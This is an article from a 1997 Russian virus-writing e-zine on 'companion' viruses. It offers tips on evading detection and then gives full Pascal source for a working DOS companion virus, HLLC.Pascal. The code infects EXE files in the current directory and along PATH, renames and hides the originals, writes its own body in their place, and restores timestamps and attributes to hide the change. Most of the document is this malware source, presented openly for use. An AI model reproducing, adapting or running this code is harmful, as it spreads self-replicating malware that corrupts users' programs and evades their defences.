[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 2, May 1997                                           file 004


                               ВИРУСЫ-СПУТНИКИ
                                           by RedArc

     Вирусу-спутнику выжить гораздо легче, чем его собрату-убийце. Дело в том,
что  вирусы  этого типа не уничтожают программу-носитель, следовательно, могут
выполнить  ее  запуск  на  исполнение.  Но  все  же  "вычислить"  эти вирусы и
"вылечить"  программы  от них может даже человек, позавчера выучивший файловую
структуру  операционной  системы.  Механизм работы вирусов этого класса весьма
прост:  пользователь  сам  запускает  файл  с телом вируса, а тот уже передает
управление   программе-носителю.   Для  затруднения  поиска  и  лечения  можно
посоветовать следующее:
 - "доращивайте" вирус до размера инфицированного файла;
 - переносите всякий раз время и атрибуты файла-жертвы на файл-вирус;
 - не оставляйте тело жертвы в исходном состоянии (хотя бы часть зашифруйте);
 - делайте "скрытыми" программы-носители;
 - не оставляйте тело вируса при запуске программы-носителя.
     Последний  совет  особенно интересен тем, что при запуске инфицированного
антивируса   вирус   останется   в   памяти   и   по  возврату  управления  от
программы-носителя  сможет себя "возрадить" даже после тотального истребления.
Этот прием можно назвать псевдо-стелс-механизмом.

=== Cut ===
(****************************************************************************)
(*****             HLLC.Pascal (c) 1997 by RedArc // [TAVC]             *****)
(*****    Поиск EXE-программ в текущем каталоге и по переменной PATH    *****)
(*****           Создание программы-спутника с вирусным кодом           *****)
(*****              MooN_BuG issue 2 // Вирусы-спутники //              *****)
(****************************************************************************)

{$A+,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10240,10240,10240}

PROGRAM Pascal;

USES DOS;

CONST
     MyLen = 5228; {Размер упакованного EXE-файла, содержащего тело вируса}
     Ident = 'MooN_BuG // HLLC.Pascal';
     Limit = 5; {Количество файлов, поражаемых за один раз}

VAR
   SR : SearchRec; {Информация о найденном файле}
   FN : String;    {Имя файла}
   Dir : DirStr;   {Каталог}
   Nam : NameStr;  {Имя}
   Ext : ExtStr;   {Расширение}
   F   : File;     {hanler}
   P   : Pointer;  {Указтель на вирус в памяти}
   B : Byte;
   W : Word;
   Count: Byte;    {Количество инфицированных файлов за один сеанс}

{Функция перевода строки символов в верхний регистр}
FUNCTION UpStr (S : String) : String;
VAR
   I : Byte;
BEGIN
     FOR I := 1 TO Length (S) DO
         S [I] := UpCase (S [I]);
     UpStr := S;
END;

{"Обработка" клиента}
PROCEDURE Infect_File;
VAR
   F1 : File;
   L : LongInt;
BEGIN
     FileMode := 0;
     Assign (F, SR.Name);
     ReSet (F, 1);
     L := FileSize (F);
     {
     Если изменить значение переменной FileMode на два, то в этом месте
     возможно пошифровать какую-либо часть программы-жертвы, но тогда не
     забудьте и расшифровать ее перед запуском программы-носителя
     }
     Close (F);
     {Проверка на "предельные" длины файлов и присутствие вируса в файле}
     IF (L <= MyLen) OR (L > 30*MyLen) THEN Exit;
     {Переименовываем найденный файл}
     Rename (F, Nam + '.ASS');
     {"Прячем" программу-носитель}
     SetFAttr (F, Hidden);
     FileMode := 1;
     {Запись тела вируса}
     Assign (F1, SR.Name);
     ReWrite (F1, 1);
     BlockWrite (F1, P^, MyLen, W);
     {
     Здесь можно дорастить вирус до размера файла-жертвы, но при этом
     придется поискать другой признак зараженности, наприемр как это
     сделано в вирусах HLLP. "Доращивание" можно осуществить так:
     While FileSize (F1) < L DO BEGIN
           B := Random (255);
           BlockWrite (F1, B, 1, W)
     END;
     }
     Close (F1);
     Inc (Count);
END;

{Поиск в текущем каталоге}
PROCEDURE Find_In_To_Current_Directory;
VAR
   FAttr : Word;    {Атрибуты файла}
   FTime : LongInt; {Время создания файла}
BEGIN
     {Поиск первого EXE-файла с любым атрибутом}
     FindFirst('*.EXE', AnyFile, SR);
     While (DosError = 0) AND (Count < Limit) do begin
           FileMode := 0;
           {Разбор имени файла на составляющие}
           FSplit (SR.Name, Dir, Nam, Ext);
           {Связь переменной F с найденным физическим файлом}
           Assign (F, SR.Name);
           {Получить атрибуты файла}
           GetFAttr (F, FAttr);
           {Установить атрибут "архивный" и очистить остальные}
           SetFAttr (F, Archive);
           {Открыть файл с размером буфера чтения/записи в один байт}
           ReSet (F, 1);
           {Если нет ошибки доступа к файлу}
           IF IOResult = 0 THEN BEGIN
              {Запомнить временные характеристики файла}
              GetFTime (F, FTime);
              {Закрыть файл}
              Close (F);
              {"Обработать" клиента}
              Infect_File;
              {Связь переменной F с найденным физическим файлом}
              Assign (F, SR.Name);
              {Открыть файл с размером буфера чтения/записи в один байт}
              ReSet (F, 1);
              {Восстановить временные характеристики файла}
              SetFTime (F, FTime);
              {Закрыть файл}
              Close (F);
              {Восстановить атрибуты файла}
              SetFAttr (F, FAttr);
           END;
           {Поиск следующего файла по шаблону}
           FindNext(SR);
     End;
END;

{Перебор каталогов, указанных в переменной PATH}
PROCEDURE Search_From_PATH;
VAR
   PS : String;
   Home : String;
   S : String;
   Ch : Char;
   I : Byte;
BEGIN
   GetDir (0, Home);
   PS := GetEnv ('PATH');
   S := '';
   I := 1;
   REPEAT
         IF I >= Length (PS)+1 THEN BEGIN
            IF S <> '' THEN BEGIN
               IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
               ChDir (S);
               IF IOResult = 0 THEN
                  Find_In_To_Current_Directory;
            END;
            Break;
         END;
         Ch := PS [I];
         Inc (I);
         IF Ch <> ';' THEN S := S + Ch ELSE BEGIN
            IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
            ChDir (S);
            IF IOResult <> 0 THEN BEGIN
               WriteLn (Ident); {Сообщение идентификационной информации}
               S := '';
               Continue;
            END;
            Find_In_To_Current_Directory;
            S := '';
         END;
   UNTIL False;
   ChDir (Home);
END;

{Функция возвращает строку параметров}
FUNCTION ParamMy : String;
VAR
   S : String;
   I : Word;
BEGIN
     S := '';
     FOR I := 1 TO ParamCount DO
         S := ParamStr (I) + ' ';
     ParamMy := S;
END;

{Запуск программы-носителя на исполнение}
PROCEDURE Exec_Program;
VAR
   FAttr : Word;    {Атрибуты файла}
   FTime : LongInt; {Время создания файла}
BEGIN
     FileMode := 0;
     FSplit (ParamStr (0), Dir, Nam, Ext);
     Assign (F, ParamStr (0));
     {Получить атрибуты файла}
     GetFAttr (F, FAttr);
     {Установить атрибут "архивный" и очистить остальные}
     SetFAttr (F, Archive);
     {Открыть файл с размером буфера чтения/записи в один байт}
     ReSet (F, 1);
     {Запомнить временные характеристики файла}
     GetFTime (F, FTime);
     {Удаляем файл-вирус}
     Close (F);
     Erase (F);
     {Восстанавливаем программу-носитель}
     Assign (F, Dir+Nam+'.ASS');
     SetFAttr (F, Archive);
     Rename (F, Dir+Nam+Ext);
     SetFAttr (F, FAttr);
     {Собственно ее запуск}
     SwapVectors;
     Exec (Dir+Nam+Ext, ParamMy);
     SwapVectors;
     {Переименовываем программу-носитель}
     Assign (F, ParamStr (0));
     SetFAttr (F, Archive);
     Rename (F, Dir+Nam+'.ASS');
     {"Прячем" программу-носитель}
     SetFAttr (F, Hidden);
     {Записываем тело вируса из памяти}
     Assign (F, ParamStr (0));
     ReWrite (F, 1);
     BlockWrite (F, P^, MyLen, W);
     SetFTime (F, FTime);
     Close (F);
     SetFAttr (F, FAttr);
END;

BEGIN
     {Инициализация счетчика инфицированных файлов}
     Count := 0;
     {Чтение вируса в память}
     GetMem (P,MyLen);
     Assign (F, ParamStr (0));
     ReSet (F,1);
     IF IOResult = 0 THEN BEGIN
        BlockRead (F, P^, MyLen, W);
        Close (F);
        {Поиск в текущем каталоге}
        Find_In_To_Current_Directory;
        {Поиск по PATH}
        Search_From_PATH;
     END;
     {Запуск программы-носителя}
     Exec_Program;
     {Освобождение памяти}
     FreeMem (P, MyLen);
=== Cut ===